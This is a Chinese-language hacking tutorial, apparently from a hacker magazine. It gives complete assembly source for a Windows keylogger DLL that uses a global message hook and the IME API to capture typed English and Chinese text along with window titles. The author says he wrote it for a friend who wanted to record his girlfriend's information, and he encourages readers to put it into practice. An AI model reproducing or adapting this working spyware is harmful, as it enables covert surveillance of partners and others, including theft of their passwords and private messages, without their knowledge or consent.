打造支持中英文键盘记录(从原理解剖)

Code:

format        PE GUI 4.0 DLL 

entry        DllEntry 

include 'win32ax.inc' 


WM_IME_COMPOSITION equ 010Fh 
GCS_RESULTSTR            equ 0800h 


section '.data' data readable writeable 

    hInstance                rd        1 
    dwStrSize                rd        1 
    hParent                rd        1 
    szClassName                db        'Edit', 0 
    szChina                db        20  dup  (?) 

    data import 
            library user32, 'user32.dll',\ 
                    kernel32, 'kernel32.dll',\ 
                    imm32, 'imm32.dll' 
                     
            include 'api\kernel32.inc' 
             
            include 'api\user32.inc' 
             
            import imm32,\ 
                   ImmGetContext, 'ImmGetContext',\ 
                   ImmReleaseContext, 'ImmReleaseContext',\ 
                   ImmGetCompositionString, 'ImmGetCompositionStringA'   
    end data 



section '.bss' data readable writeable shareable 

    _hWnd                rd        1 
    hHook                rd        1 
    hImc                rd        1 
    _dwMessage                rd        1 
    hEdit                rd        1 
    hWindow                rd        1 
    szTemp                db        'hello world', 0 
    szTitleTemp                db        0ah, 0dh, '[%s -]', 0, 0ah, 0dh 
    szTitle                db        50  dup  (?) 
    szOldTitle                db        50  dup  (?) 
    szBuffer                db        100 dup         (?) 
    szChinaWindow        db        50  dup  (?) 
    szChar                db        4   dup  (?) 



section '.text' code readable executable 




    proc DllEntry hInstDLL, dwReason, lpReserved 
     
            push        dword [ebp+8] 
             
            pop                dword [hInstance] 
             
            sub                eax, eax 
             
            inc                eax 
             
            ret 
     
    endp 
     
    ; 
     
    ;        String Cpy Function 
     
    ; 
     
        proc StrCpy lpDest, lpSrc 

            pushad 
         
            mov                esi, [lpSrc] 
         
            mov                edi, [lpDest] 
         
            xchg        esi, edi 

            push        edi                ; lpSrc 
         
            xor                eax, eax 
         
            cld 
         
            mov                ecx, 0FFFFFFFFh 
         
            repne        scasb 
         
            je                @f 

            pop                edi 
         
            popad 
         
            return        0 
         
         
    @@: 
                 
            not                ecx 
             
            pop                edi 
         
            xchg        edi, esi 
         
            push        ecx 
         
            shr                ecx, 2 
         
            rep                movsd 
         
            pop                ecx 
         
            and                ecx, 3 
         
            rep                movsb 

            popad 
         
            return        1 

    endp 
     
     
    proc StrCmp lpDest, lpSrc 
     
            pushad 
             
            mov                esi, [lpDest] 
             
            mov                edi, [lpSrc] 
             
            push        edi 
             
            mov                ecx, 0FFFFFFFFh 
             
            cld 
             
            xor                eax, eax 
             
            repne        scasb 
             
            je                @f 
             
            pop                eax 
             
            return        0 
             
             

    @@: 
     
            not                ecx 
             
            pop                edi 
             
            repe        cmpsb 
             
            je                @f 
             
            popad 
             
            return        0 
             
             
    @@: 
     
            popad 
             
            return        1 
                                    
     
    endp 
    ; 
     
    ;        CALLBACK HookProc 
     
    ; 
     
    proc HookProc dwCode, wParam, lParam 
             
            pushad 
             
            invoke        CallNextHookEx, [hHook], [dwCode], [wParam], [lParam] 
             
            mov                edx, [lParam] 
                 
            virtual        at edx 
                @hWnd        dd        ? 
                @MSG        dd        ? 
                @wParam        dd        ? 
                @lParam        dd        ? 
                @dwTime        dd        ? 
                @dwpt        dd        ?   
            end virtual 
                 
            cmp                [@MSG], WM_CHAR 
             
            je                __HookChar 
             
            cmp                [@MSG], WM_IME_COMPOSITION 
             
            je                __HookImeChar 
             
            jmp                __HookEnd 
         
       
    __HookChar: 
     
            push        dword [@wParam] 
             
            pop                dword [szChar] 
                 
            invoke        GetForegroundWindow 
             
            invoke        GetWindowText, eax, szTitle, 50 
             
            stdcall        StrCmp, szOldTitle, szTitle 
             
            or                eax, eax 
             
            jne                @f 

            stdcall        StrCpy, szOldTitle, szTitle 
             
            invoke        wsprintf, szBuffer, szTitleTemp, szOldTitle 
                         
            add                esp, 0ch         
                 
            invoke        SendMessage, [hEdit], EM_REPLACESEL, 0, szBuffer 
@@:              
            invoke        SendMessage, [_hWnd], [_dwMessage], dword [szChar], 0 
             
            jmp                __HookEnd 
             
         
    __HookImeChar: 
           
            invoke        GetFocus 
             
            mov                [hParent], eax 
           
            invoke        GetParent, eax 
             
            mov                [hWindow], eax 
             
            invoke        GetWindowText, eax, szChinaWindow, 50 
             
            stdcall        StrCmp, szOldTitle, szChinaWindow 
             
            or                eax, eax 
             
            jne                @f 
             
            stdcall        StrCpy, szOldTitle, szChinaWindow 
             
            invoke        wsprintf, szBuffer, szTitleTemp, szOldTitle 
                         
            add                esp, 0ch         
           
            invoke        SendMessage, [hEdit], EM_REPLACESEL, 0, szBuffer 
           
    @@: 
           
            invoke        ImmGetContext, [hParent] 
             
            or                eax, eax 
             
            je                __HookEnd 
             
            mov                [hImc], eax 
                 
            invoke        ImmGetCompositionString, [hImc], GCS_RESULTSTR, 0, 0 
             
            or                eax, eax 
             
            je                __HookEnd 
             
            mov                [dwStrSize], eax 
             
            inc                [dwStrSize]         
             
            inc                [dwStrSize] 
             
            push        edi 
             
            push        ecx 
             
            mov                edi, szChina 
             
            cld 
             
            mov                ecx, [dwStrSize] 
             
            xor                eax, eax 
             
            rep                stosb 
             
            pop                ecx 
             
            pop                edi 
             
             
            invoke        ImmGetCompositionString, [hImc], GCS_RESULTSTR, szChina, [dwStrSize] 
             
            invoke        SendMessage, [hEdit], EM_REPLACESEL, 0, szChina 
             
            invoke        ImmReleaseContext, [hParent], [hImc]     

    __HookEnd: 
     
            popad 
             
            return 
     
    endp 
     
     
     
    ; 
     
    ;        InstallHook Proc 
     
    ; 
     
    proc StartHook hWnd, dwMessage 
     
            push        dword [ebp+8h] 
             
            pop                dword [_hWnd] 
             
            push        dword [ebp+0Ch] 
             
            pop                dword [_dwMessage] 
             
            invoke        FindWindowEx, [_hWnd], NULL, szClassName, NULL 
             
            or                eax, eax 
             
            je                @f 
             
            mov                [hEdit], eax 
             
             
    @@: 
            invoke        SetWindowsHookEx, WH_GETMESSAGE, HookProc,\ 
                            [hInstance], NULL 
             
            mov                [hHook], eax 
             
            ret 
     
    endp 
     
     
     
    ; 
     
    ;        UnInstallHook Proc 
     
    ; 
     
    proc StopHook 
     
            invoke        UnhookWindowsHookEx, [hHook] 
             
            ret 
     
    endp 
     
     

     
    section '.rdata' data readable writeable export 
     
            export 'hook.dll',\ 
                    StartHook, 'StartHook',\ 
                    StopHook, 'StopHook' 
                     
     
    section '.reloc' data readable fixups


打造中英文键盘记录(从原理剖析) 

作者:小鱼   from: 黑客防线 --- 晓风组织 


传说中超级淫荡的分割线.... 
//----------------------------------------------------------------------------------- 

    由于昨天朋友找我让我帮他写个支持中英文键盘记录插件,他想记录他女朋友的一些信息。昨天就研究了一下。截获英文我就不用 
说了吧(太简单了),也不是我们本篇文章所探究的。 

   截获ASCII字符,大家可以通过注册WH_CALLWNDPROC 或者 WH_KEYBOARD 和 WH-GETMESSAGE钩子 来截获相关按键的虚拟码和通过 
windows转换后的wm_char消息。 当然你在通过WH_KEYBOARD钩子截获按键 按上和按下的时候获得键盘驱动所发给windows系统 
的虚拟码后,自己通过其特定的编码规则进行转换,但这无疑是一项非常庞大的工程。。 


    有无简单的方法呢?  当然有了,如果没有也就没有今天的文章了。 呵呵。。在这里我就要说下一个概念了。windows下的汉字 
输入法其实是将输入的ASCII字符串按照一定的编码规则组合成汉字。但是windows很聪明,它不可能让这个转换的任务交给我们应用 
程序,所以这个重任就放到了windows系统管理中了。。 

    我们大家平时在输入汉字的时候,都要切换下输入法。例如我想很多人都喜欢用“搜狗输入法吧”,我就在用。o(∩_∩)o... 
在我们切换输入法的时候,这个时候我们的键盘消息就要又经过一个途径,才能转发到我们的窗口过程中。 这个途径大致如下图。 

    键盘事件   应用程序 
       |       | 
    Windows的user.exe 
            | 
        输入法管理器 
              | 
           输入法 
           
           
      当我们切换输入法后,输入的字符这时候不会直接发送到我们的窗口过程,而是经过一道途径。是windows将键盘事件发送到 
windows的user.exe进程中,user进程再讲键盘事件发送到输入法管理器(Input Method Manager,简称IMM)中。输入法管理器 
最后再将键盘事件传送到输入法中,输入法这个时候会根据用户的编码字典,翻译键盘事件为对应的汉字,然后在发送到user.exe, 
user.exe再将翻译后的键盘事件传给正在运行的应用程序,从而完成汉字的输入。 

     
       我想大家看到这里,聪明的朋友应该可以明白,我们截获的时机就在这里。在输入法将键盘消息通过用户编码字典转换成汉字 
后,我们在进行截获,这样我们得到的就是编码后的汉字了。。 嘿嘿,是不是很爽啊。 

       好,思路已经有了。我们下面来看具体的分析: 
       
       我们知道我们windows是基于消息机制的,那么在完成编码后,会不会发送消息呢?没错,在输入法将键盘事件通过用户编码 
字典翻译成汉字的时候会触发:WM_IME_COMPOSITION消息,这个消息是输入法将输入的编码保存到编码结构时候会触发。所以我们 
只要拦截这个消息,并且每个一个ime(也就是输入法编辑器)都会有一个输入法相关的部分,简称为IMC 。 
   
       IMC还包含一个部件,IMCCI,IMCCI是INPUTCONTEXT 结构的成员。 
       
       由于windows的各种资源是通过句柄来表示的,imc也是通过句柄来表示的,我们只要取得其句柄就可以通过其输入法管理器 
提供的函数来操作imc。 

       输入法管理器提供了一个接口函数ImmGetContext 来获得其imc的句柄。 
       
       那么获得句柄以后呢,我在上面已经说了。 在完成编码的时候会触发WM_IME_COMPOSITION,并且完成的编码保存到编码 
结构中,所以此时我们只要通过特定的函数来取得编码结构中存放的之前编码的结果,这样我们取到的就是其特定转换后的汉字了。 

      呵呵,输入法管理器同样提供给我们了一个接口函数ImmGetCompositionString函数。 
       
       
       这个函数可以取得将编码结构中的编码结果取得到特定的缓冲区。。 
       
       
       ImmGetCompositionString 还有一个技巧,就是可以取得编码结构中编码结构的字节大小。 
       
       
       这正好给我们提供了方便嘛。我们直接通过ImmGetCompositionString来取得大小,然后在通过ImmGetCompositionString 
获得编码结构到我们的缓冲区。。 

       最后我们通过ImmReleaseContext来释放imc。 
       
       
       好接下来我来画个流程。。 
       
       
       
       
                           注册全局钩子 
                             | 
                   
                |      钩子函数     | 
如果是WM_IME_COMPOSITION        如果是WM_CHAR 


            我们首先注册全局钩子,然后钩子函数来判断其消息如果是WM_CHAR则表示我们此时输入的是字母。如果是 
WM_IME_COMPOSITION表示目前我们通过输入法来输入汉字,我们截获汉字的时机也就在这里。 

            我们可以通过注册 WH_GETMESSAGE 钩子,这时候我们就可以通过其判定消息来分别处理。当然你可以 
注册多个钩子,例如再注册一个Wh_KEYBOARD,来获得一些特殊的字符并自行处理下。防止WM_CHAR显示的是其windows默认 
翻译的。 

             
           到此,我们已经从原理深入的剖析了整个流程。   此时,赶紧去实践吧大家。。。  给一个我写的键盘记录插件的例子 
,可能还存在不足,因为一些特殊的字符我懒得处理了。大家可别学我啊,该勤奋的时候就得勤奋那。呵呵。 其实pcshare也是通过 
此种方法来实现的中英文记录。。 如果您有更好的方法,也请麻烦告知我下...

你可能感兴趣的:(打造支持中英文键盘记录(从原理解剖))